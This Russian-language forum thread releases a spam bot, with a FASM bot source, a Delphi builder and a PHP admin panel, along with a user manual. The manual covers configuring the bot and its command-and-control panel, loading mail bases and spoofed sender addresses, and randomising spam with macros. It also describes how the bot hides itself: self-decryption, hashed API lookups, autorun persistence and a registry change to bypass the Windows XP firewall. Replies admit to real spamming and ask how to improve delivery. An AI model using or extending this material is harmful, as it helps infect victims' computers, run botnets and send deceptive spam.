Еще в прошлом году написал от нех делать спам бота. Бот довольно простой, хреново пашет, в систему ставится по ламерски, но главное отличие его от всех других - размер 5632 байт. Большую ценность он представляет только тем кто пишет на ASMe. Былобы очень хорошо стабильной работы добавить работу с SEH, но както влом Убедительная прозьба не сливать в паблик!! В архиве находится сама админка бота, исходники бота FASM и исходники билдера Delphi Вот краткое описание бота: (C) SLESH 2008 РАЗМЕР бОТА в чистом виде - 5632 байта при использовании билдера. Без билдера можно уменьшить еще на 512 байт Тут вы сможите прочитать: 0) Возможности бота 1) Конфигурация бота 2) конфиг бота через билдер 3) установка админки 4) работа с админкой 5) макросы бота и админки 6) принцип работы бота --------------------------------- ВОЗМОЖНОСТИ 1) обход встроенного в XP фаера 2) криптовка (если юзать билдер) 3) многопоточная отправка 4) поддержка макросов на уровни админки и бота 5) лог ошибок отправки 6) самоустановка в систему 7) возможность банить блохих ботов 8) небольшое шифрования трафа между ботом и админкой --------------------------------- Ручная конфигурация исходников: Файл: bot.asm WAIT_TIME equ 40 - время в секундах между отстуками server_port equ 5000h - порт админки, результат работы функции htons(port). В нашем случае это htons(80) файл: const.inc server_script db '/msb/task.php?',0,0,0,0,0,0,0,0 - путь к админке server_host db 'localhost',0,0,0,0,0,0,0,0,0,0,0,0,0 - host админки my_sys_name db '\proga.exe',0,0,0,0,0,0,0,0,0,0 ; \ обязателен!!!- имя с которым будет прога сидеть в системе MemFileName db 'test123',0 - юзается для того чтобы предотвратить повторный запуск -------------------- Настройка админки: файл config.php $db_host='localhost'; - хост с бд $db_port=3306; - порт бд $db_user='root'; - юзер бд $db_pass='pass'; - пасс от бд $db_name='sbot'; - имя базы в бд (нужно создать самому) $admin_name='slesh'; - имя пользователя для доступа к админке $admin_pass='123'; - пароль для доступа к админке $TIME_LIM='00:01:00'; -(часы:минуты:секунды) если время последнего отстука больше данного, то бот считается что ушел в офлайн $max_thread=1; - кол-во поток для спама. 5 норм $block='on'; - блокировать дохлых ботов или нет. (настраивается из админки) ---------------------- Установка бота 1. Залить все скрипты и на все скрипты и папки поставить права 666 2. Войти в админку (index.php) и выбрать пункт меню - INSTALL 3. настроить бота на получение заданий. Файл раздачи заданий - task.php ---------------------- Настройка бота через билдер: 1. Host - хост с админкой типа site.com 2. Path - путь к скрипту раздачи заданий типа /folder/task.php? 3. SYSNAME - имя с которым бот установится в систему 4. TIME - время в секундах между отстуками бота на админку ---------------------- --------РАБОТА С АДМИНКОЙ---------- ВКЛАДКИ: 1. BOT Показывает кол-во онлайн ботов, общее кол-во ботов и ботов которые незабанины админкой Админка банит ботов в том случае если бот несмог удачно отослать ни одного письма из задания. По этой причине лучше всего отрубить бан ботов. Ссылки: Очистить базу ботов - полностью удаляет всю инфу о ботах Очистить базу плохих ботов - выводит всех ботов из бана Запретить блокировку ботов/Разрешить блокировку ботов - банить ботов или нет 2. NEW TASK Создание нового задания для спама. Параметры: - TASK NAME - название задания - FROM NAME - имя откого будет слаться письмо - MAILS Per BOT MIN - минимальное кол-во почтовых ящиков которое может быть выдано боту - MAILS Per BOT MAX - минимальное кол-во почтовых ящиков которое может быть выдано боту - MAILS LIST - почтовая база для расслыки - FROM EMAIL - почтовые ящики с которых якобы отослали письмо. Заполнять через ENTER - Subjects(%SUBJECT) - возможные темы письма.заполняются через ENTER %SUBJECT - макрос для встраивания куда угодно заменяется на тему письма - LINKS(%ADV_LINK) - аналогичный макрос но для ссылок Поле справо - непосредственно текст письма который в который можно также добавлять макросы. - HEADER - заголовки писама. При выборе нескольких - постоянно выбирается рандомом для каждого бота. 3. TASKS Отображает существующие задания Значение полей: ID - просто номер NAME - имя задания FromName - от чьего имени шлется FromMail - от каких адресов Header - заголовки письма Body - Текст письма. ПРи нажатии на Edit - появляется окно редектирования текста пьма. List - база мыл Send - кол-во мыл розданных ботам в процентах Bad - кол-во неудачных посылок в процентах. Если кликнуть на нем то можно увидеть полную статистику ошибок с их описанием Good - кол-во удачных посылок в процентах Total - кол-во мыл для посылки Delete - удаление задания Work - возможность временно поставить задание на паузу. Del - можно поставить галочку и потом удалить группу заданий Status - результат выполнения задания. FINISH - это когда все мыла были отправлены ботам. Кнопка DeleteGroup - групповое удаление заданий. помеченных галочкой. 4. EMAIL Отображает существующие спам базы + возможность добавления новых. Загрузка базы: а) Если база не очень большая то в поле вписывается её имя, выбирается файл и нажимается кнопка "закачать" б) Если база большая то через фтп можно залить её в папку email, в поставить галочку "Уже загружена" и вписать имя файла Отображение баз: ID - просто номер NAME - название COUNT - кол-во мыл в базе ACTION - возможность удаления базы 5. HEADER Отображение и добавление новых заголовков письма NAME - имя заголовка EDIT - открытие окна редактирования DELETE - удаление заголовка TEST - проверка макросов встроенных в заголовок и обрабатываемых на стороне админки Добавление заголовков: - Ввести имя заголовка и нажать кнопку NEW - Вписать текст заголовка и сохранить 6. MACROS Оботражение или создание макросов обрабатываемых на стороне админки. Макросы - это небольшие подстановки которые динамически заполняются при отдача боту пьсьма MACROS LIST - список юзерских (добавленных) макросов NAME - имя макроса TYPE - тип макроса - статический или динамический COUNT - кол-во вариантов которые выдает макрос (если он статический) DELETE - удалить макрос RELOAD - пока недописано. Создание нового макроса - Ввести имя макроса - выбрать тип - ввести варианты заполния и нажать на кнопку ADD Если макрос статический STATIC - то просто из списка рандомом выбираются строки и вставлются на место макроса Если макрос динамический, то аналогично предыдущему, но каждая строка проверяется на содержание в себе других макросов Существующие встроенные макросы на стороне адмики. А именно: %RND_NUMBER - вставляет цифру в диапазоне он 0 до N или от M до N. Пример: %RND_NUMBER[7-10] от 7 до 10 или %RND_NUMBER[7] от 0 до 7 %RND_DIGIT - вставляет блок цифр. Пример: %RND_DIGIT[7-10] от 7 до 10 цифр или %RND_DIGIT[7] от 0 до 7 цифр %RND_UC_CHAR - аналогично с символами %RND_LC_CHAR - аналогично с симолами но более расширено %RND_NUM_CHAR - аналогично но со строкой символов %FORMAT_DATE - текущая дата %ADV_LINK - ссылка %SUBJECT - тема письма %FROM_NAME - от чего имени шлется %MESSAGE_BODY - вставляет текст письма. Его присутствие обязательно!!!!!!!!!!!!!!! P.S. Существуют макросы на стороне бота. Позже опищу За макросный модуль - спасибо неизвестному человеку!!!!!!! P.P.S. Все остальны слова в формате - %STRING - процент и больше англ буквы - заменятся на $STRING это сделано чтобы обработка макросов продолжелась со стороны бота 7. INSTALL Создает нужные для работы таблицы в БД --------МАКРОСЫ НА СТОРОНЕ БОТА------------- $BOUNDARY - в каждом письме генерится заново. заменяется на строку формата --=_NextPart_%03X_%04X_%08X.%08X $MESSID - %04X_%08X_%08X.%08X%s $DATA - ddd, d MMM yyyy hh:mm:ss +0300 $TO_EMAIL - мыло которому шлется данное письмо $FROM_EMAIL - мыло от которого шлется данное письмо $REALIP - внешний IP бота $REALHOST - DNS имя компа с ботом P.S. В теле или заголовке письма можно применять данные макросы. но с символом % а не $ ----------------------------------------------------------------------------- ПРимер письма с использованием макросов <html><h1>Привет: %TO_EMAIL</h1><a href="%ADV_LINK"> зайди сюда</a>сегодняшняя дата %DATA</html> <p>а тут у нас подряд идут цифры какогонить ID %RND_NUMBER[7-10]</p> Пример некоторых заголовком в комплекте. ----------------------------------------------------------------------------- Информация по принципу работы бота 1) Бот запусшен 2) Бот расшифровывается 3) Бот получает адреса API функций которые он юзает. Метод хешей. 4) Бот проверяет наличие того что он уже запущен. если уже запущен, то вырубается. 5) Устанавливает себя в систему в папку шаблонов и прописывает себя в автозагрузке 6) Выделяет память для своих нужд 7) прописывает себя в реестре для обхода встроенного в XP фаера 8) Стучится на админку. 9) Если получена команда ждать, ждет указанное время. 10) Если получено задание то в патоке парсит задание и запускает указанное кол-во потоко отправки письма. 11) Перед каждой отправкой письма обрабатывает макросы в письме. 12) Отсылает письмо итд пока есть письма в задании 13) Во время выполнения задания переодически с заданным интревалом происходит отстук на админку с результатами отправки но и всё. (С) SLESH 2008
пробовать для нормального спама - это смешно. Потому что это в первую очередь в образовательных целях выложен бот. Хотя в своё время спамил с него. херовато но спамил. Если довести его до ума, то можно и воспользовать им.
>>> Былобы очень хорошо для стабильной работы добавить работу с SEH, но както влом << Алгоритмы установки - это сугубо индивидуальные особенности, как хочеш так и устанавливайся в систему. Тут реализован самый простой способ. А работа с SEH - для того, чтобы если вдруг чтото не так пойдет и возникнет ошибка, то чтобы она была обработана корректно
Тоже хотелось бы услышать название бота который лучше. п.с из-за чего ошибки при отправке? из 100% всего 5 отсылается.. самые распространенные : Не смог подключиться к MX серверам: RCPT TO не принято Сервер отверг бота. Баннер не 220: п.с описание smtp протокола читал. +еще вопрос. от кого письмо надо заполнять так?: Вася пупкин <[email protected]> или просто вася пупкин?